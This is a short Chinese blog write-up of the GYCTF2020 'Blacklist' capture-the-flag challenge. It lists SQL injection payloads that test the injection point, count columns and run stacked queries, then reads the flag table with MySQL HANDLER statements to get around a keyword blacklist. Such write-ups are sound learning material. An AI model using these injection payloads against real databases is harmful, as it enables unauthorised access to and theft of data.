[GYCTF2020]Blacklist-思路

[GYCTF2020]Blacklist-思路

  1. 首先我们还是用常规SQL注入判断这是字符型

    1' and '1'='1
    1' and '1'='2
    
  2. 然后利用order by语句判断出字段数为2

    1' order by 2#
    
  3. 然后当我们用union查询的时候,发现select以及许多关键字被过滤了

    1' union select 1,2#
    

但是我们发现它没有过滤 show 这个关键字,所以我们可以尝试堆叠注入,但是这里过滤了rename,所以我们那个修改表名的方法就用不了。

1';show databases;#     //获取数据库
1';show tables;#         //获取表名
1';desc words;#          获取表的内容

这里通过百度了解到一个新的方法:

参考文档:https://dev.mysql.com/doc/refman/8.0/en/handler.html

HANDLER [表名] OPEN;语句打开一个表,使其可以使用后续HANDLER [表名] READ;该表对象未被其他会话共享,并且在会话调用HANDLER [表名] CLOSE;或会话终止之前不会关闭

1’;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere close;#

//这是一个语句

执行这个,然后,就可以出来flag了


posted @ 2021-07-08 13:45  胖三斤1  阅读(178)  评论(0编辑  收藏  举报
Live2D